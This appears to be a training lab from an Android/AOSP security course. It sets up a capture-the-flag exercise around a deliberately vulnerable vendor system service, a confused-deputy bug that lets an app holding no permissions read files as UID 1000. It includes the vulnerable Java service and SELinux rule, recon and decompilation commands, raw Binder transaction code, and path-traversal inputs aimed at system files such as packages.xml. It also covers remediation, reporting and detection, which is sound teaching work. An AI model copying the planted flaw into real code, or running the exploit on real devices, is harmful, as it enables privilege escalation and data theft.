Lab 05 — CTF: The vendor's back door¶
Difficulty: Advanced Time: 3–5 hours Chapter: 07 — AOSP — everything in §3.5, §3.6, §4.1, §5.3.1, §5.3.2, §6.2
The scenario¶
You are handed a device — or an image — from "Vendor X". The client says:
"It's stock Android with a few of our own apps on top. We had it reviewed last year. There's nothing in the framework."
There is a flag. It is readable only by a process running as UID 1000, and it is reachable from an application that holds no permissions at all.
Flag format: FLAG{...}
Rules¶
- Analyse only the provided device or image.
- The attacking application may declare no permissions. If you find yourself adding one, you have taken a wrong turn.
- No root on the target.
adb shellis unprivileged. - Do not brute-force transaction codes against services you have not identified. Read the challenge construction note below on why.
Building the challenge¶
This lab ships as a recipe rather than an image, so you can build it, break it, and then read exactly how it was constructed. Have someone else build it for you if you can — the challenge is much better if you have not seen the source.
Challenge construction (spoilers — do not open if you are solving it)
Start from a built AOSP tree (see [Lab 02](lab-02-build-and-boot-aosp.md)). **1. Plant the flag** where only UID 1000 can read it:# In the device's file_contexts / a prebuilt_etc module, or post-boot as root:
echo 'FLAG{clear_calling_identity_before_the_check}' > /data/system/vendor_diag.txt
chmod 600 /data/system/vendor_diag.txt
chown system:system /data/system/vendor_diag.txt
package com.vendorx;
interface IDeviceCare {
String getDeviceInfo(); // code 1 — benign, no check
String readDiagnosticFile(String path); // code 2 — the bug
void setDiagnosticMode(boolean enabled); // code 3 — properly guarded
}
public class DeviceCareService extends IDeviceCare.Stub {
private static final String TAG = "DeviceCareService";
private final Context mContext;
public DeviceCareService(Context context) { mContext = context; }
@Override
public String getDeviceInfo() {
// Deliberately benign, and deliberately unguarded, so the service
// answers something and encourages further probing.
return Build.MODEL + "/" + Build.FINGERPRINT;
}
@Override
public String readDiagnosticFile(String path) {
// THE BUG. The identity is cleared FIRST, so getCallingUid() below
// returns 1000 (system) rather than the caller's UID, and the check
// passes for everybody.
//
// Also: `path` is caller-controlled and never canonicalised.
final long token = Binder.clearCallingIdentity();
try {
if (mContext.checkCallingPermission("com.vendorx.permission.DIAGNOSTICS")
!= PackageManager.PERMISSION_GRANTED) {
throw new SecurityException("DIAGNOSTICS permission required");
}
return new String(Files.readAllBytes(Paths.get(path)),
StandardCharsets.UTF_8);
} catch (IOException e) {
throw new IllegalArgumentException("cannot read: " + e.getMessage());
} finally {
Binder.restoreCallingIdentity(token);
}
}
@Override
public void setDiagnosticMode(boolean enabled) {
// Correct: the check happens BEFORE any identity manipulation.
mContext.enforceCallingPermission(
"com.vendorx.permission.DIAGNOSTICS", "setDiagnosticMode");
SystemProperties.set("persist.vendorx.diag", enabled ? "1" : "0");
}
}
ServiceManager.addService("vendorx.devicecare",
new DeviceCareService(context));
# service_contexts
vendorx.devicecare u:object_r:vendorx_devicecare_service:s0
# untrusted_app.te — this is the deliberate mistake
allow untrusted_app vendorx_devicecare_service:service_manager find;
<permission android:name="com.vendorx.permission.DIAGNOSTICS"
android:protectionLevel="signature|privileged" />
m services framework && m snod
stop_cvd && launch_cvd --daemon
adb root
adb shell 'echo "FLAG{clear_calling_identity_before_the_check}" > /data/system/vendor_diag.txt'
adb shell chmod 600 /data/system/vendor_diag.txt
adb shell chown system:system /data/system/vendor_diag.txt
adb unroot
Guided route¶
Work through these in order. Stop reading as soon as you have a lead.
Hint 1 — establish what you are holding
# adb shell
getprop ro.build.fingerprint
getprop ro.build.version.release
getprop ro.build.version.sdk
getprop ro.build.type
getenforce
# host — or just run the script
./07-AOSP/scripts/aosp-device-recon.sh -o evidence/
Hint 2 — the two-minute diff that finds it
The vendor's addition is not in AOSP, so it will not be in a stock device's service list.# adb shell — on the TARGET
service list | awk '{print $2}' | tr -d ':' | sort -u > /sdcard/target.txt
# on a stock Pixel or Cuttlefish of the SAME release
adb shell service list | awk '{print $2}' | tr -d ':' | sort -u > baseline.txt
# host
adb pull /sdcard/target.txt
comm -23 <(sort -u target.txt) <(sort -u baseline.txt)
Hint 3 — get the interface descriptor
You need the exact descriptor string for `writeInterfaceToken`. Without it the server's `enforceInterface` rejects your transaction.# adb shell
service list -l | grep -A1 -i <servicename>
Hint 4 — read the implementation
The service is implemented in `system_server`, so it is in `services.jar`.# host
adb pull /system/framework/services.jar
jadx -d svc services.jar
rg -n "extends .*[$]Stub" svc/sources/ | grep -vi "com/android/server/[apw]m"
adb shell oatdump --vdex-file=/system/framework/oat/arm64/services.vdex \
--export-dex-to=/data/local/tmp/svc
adb pull /data/local/tmp/svc && jadx -d svc svc/*.dex
Hint 5 — the highest-yield grep in the chapter
# host
rg -n -A25 "clearCallingIdentity" svc/sources/ | grep -E "checkCalling|enforceCalling"
Hint 6 — get the transaction code
Codes are assigned by the AIDL compiler in declaration order from `IBinder.FIRST_CALL_TRANSACTION` (1). Three ways to get one, in order of reliability: 1. **From the decompiled Stub.** `rg -n "TRANSACTION_" svc/sources/com/vendorx/` gives you names *and* codes. 2. **From the vendor's client SDK**, if one is on the device. Decompile it and look for the same constants. 3. **By observation.** Attach [`../scripts/binder-trace.js`](../scripts/binder-trace.js) to `system_server` with `FILTER_INTERFACE` set to the vendor's descriptor, then exercise the vendor's own app. Every method it calls is printed with its code. **Do not brute-force.** Calling an unknown service with an arbitrary code can crash `system_server` and reboot the device — which is itself a finding, but only if you meant to produce it.Hint 7 — call it
Build an app that declares **no permissions** (see [`../examples/03-binder-service-probe/AndroidManifest.xml`](../examples/03-binder-service-probe/AndroidManifest.xml)) and make the call by raw `Parcel` transaction:val sm = Class.forName("android.os.ServiceManager")
val binder = sm.getMethod("getService", String::class.java)
.invoke(null, "<servicename>") as android.os.IBinder
val data = android.os.Parcel.obtain()
val reply = android.os.Parcel.obtain()
try {
data.writeInterfaceToken("<the.exact.Interface.Descriptor>") // MANDATORY
data.writeString("<the argument>")
binder.transact(<code>, data, reply, 0)
reply.readException() // throws if the service refused
Log.i("PROBE", reply.readString() ?: "(null)")
} finally {
data.recycle(); reply.recycle()
}
Hint 8 — you can reach it but the file is not where you expected
The method takes a path. Two things follow: - The service runs as UID 1000 with the system SELinux domain, so it can read files your app cannot. Anything readable by `system` is in scope: `/data/system/packages.xml`, `/data/system/*`, and whatever the vendor put there. - If the implementation validates the path by prefix rather than by canonicalising it, `../` escapes the intended directory./data/system/vendor_diag.txt
/data/vendorx/../system/vendor_diag.txt
/data/system/packages.xml <- also worth reading; see README 5.7
Solution structure (spoilers)¶
Full walkthrough
1. **Establish identity.** `ro.build.fingerprint` gives the release; set the matching branch in Code Search so everything you read is comparable. 2. **Diff the service list** against a stock device of the same release. `vendorx.devicecare` appears on the target and not on the baseline. That is two minutes of work and it is the whole finding, located. 3. **Get the interface descriptor** with `service list -l`, or from `getInterfaceDescriptor()` in the probe app: `com.vendorx.IDeviceCare`. 4. **Decompile `services.jar`** (extracting from `services.vdex` first if needed) and find `DeviceCareService extends IDeviceCare$Stub`. 5. **Read every public method** for enforcement. `getDeviceInfo` has none but is harmless. `setDiagnosticMode` calls `enforceCallingPermission` correctly, before any identity manipulation. `readDiagnosticFile` calls `clearCallingIdentity()` **and then** `checkCallingPermission` — so the check evaluates the system's identity and passes for every caller. Confused deputy. 6. **Recover the transaction code** from the decompiled Stub's `TRANSACTION_readDiagnosticFile` constant (2), or by tracing the vendor's own app. 7. **Call it from a zero-permission app** with the correct interface token, passing `/data/system/vendor_diag.txt`. The service reads the file as UID 1000 and returns its contents. 8. **Flag.** **Why the previous review missed it.** They looked at the applications. The vulnerability is in `system_server` — code the vendor added to the *framework*, not to an app. Neither an APK scan nor a manifest review would ever have reached it. It is found by diffing the service list and reading the framework, and both are two-minute operations that are not on most checklists.Success criteria¶
- You recovered
FLAG{...}. - Your attacking app's manifest contains zero
<uses-permission>elements, and you can show it. - You can name the added service, its interface descriptor, and the transaction code you used.
- You can point at the exact line that is wrong and explain in one sentence why it is wrong.
- You identified at least one further issue in the same service beyond the confused deputy.
- You checked the SELinux side and can say whether policy was also loosened.
Write it up¶
Produce the finding as you would deliver it to the client:
- Title — name the mechanism, not the symptom. "Confused deputy in
DeviceCareServicepermits arbitrary file read as UID 1000 from an unprivileged application" is a title. "Insecure service" is not. - Affected component — service name, interface descriptor, implementing class, and the file it came
from (
/system/framework/services.jar, or the vdex). - Root cause — the
clearCallingIdentityordering, quoted. Explain whatgetCallingUid()returns after the clear and why that makes the check unconditional. - Reproduction — the exact code, and the manifest showing no permissions.
- Impact — arbitrary file read with the privileges of UID 1000 and the
systemSELinux domain, from any app on the device, with no user interaction and no prompt. Enumerate what that reaches (/data/system/packages.xmlalone contains every installed package's signing certificate and granted permissions). - Severity, with reasoning — use the table in §5.3.2 and defend your rating.
- Remediation as code — the corrected method, with the check first, the caller's UID captured explicitly, path canonicalisation and containment, and identity cleared only around the privileged operation.
- Defence in depth — the SELinux rule that should not have granted
untrusted_appthefindpermission on this service, written out. - Process recommendation — the grep that would have caught this in CI:
and the observation that it should run on every framework change.
rg -n -A25 "clearCallingIdentity" <framework-src> | grep -E "checkCalling|enforceCalling"
Extension challenges¶
- Find the second bug.
readDiagnosticFilehas more than one problem. Identify it and demonstrate it. - Close it and prove the fix. Patch the service, rebuild with
m services && m snod, and demonstrate that the same attacking app now receives aSecurityException. - Close it at the policy layer instead. Leave the Java bug in place, remove the
untrusted_appfindrule from SELinux, rebuild, and demonstrate that the app can no longer obtain the binder at all. Then write one paragraph on defence in depth: which fix is better, and why you would recommend both. - Automate the detection. Extend
../scripts/binder-service-enum.shso that, given a decompiledservices.jar, it reports every vendor service method with no enforcement call in its body. - Do it without the source. Delete your decompiled copy and recover the transaction codes purely by
attaching
../scripts/binder-trace.jstosystem_serverand exercising the vendor's own application.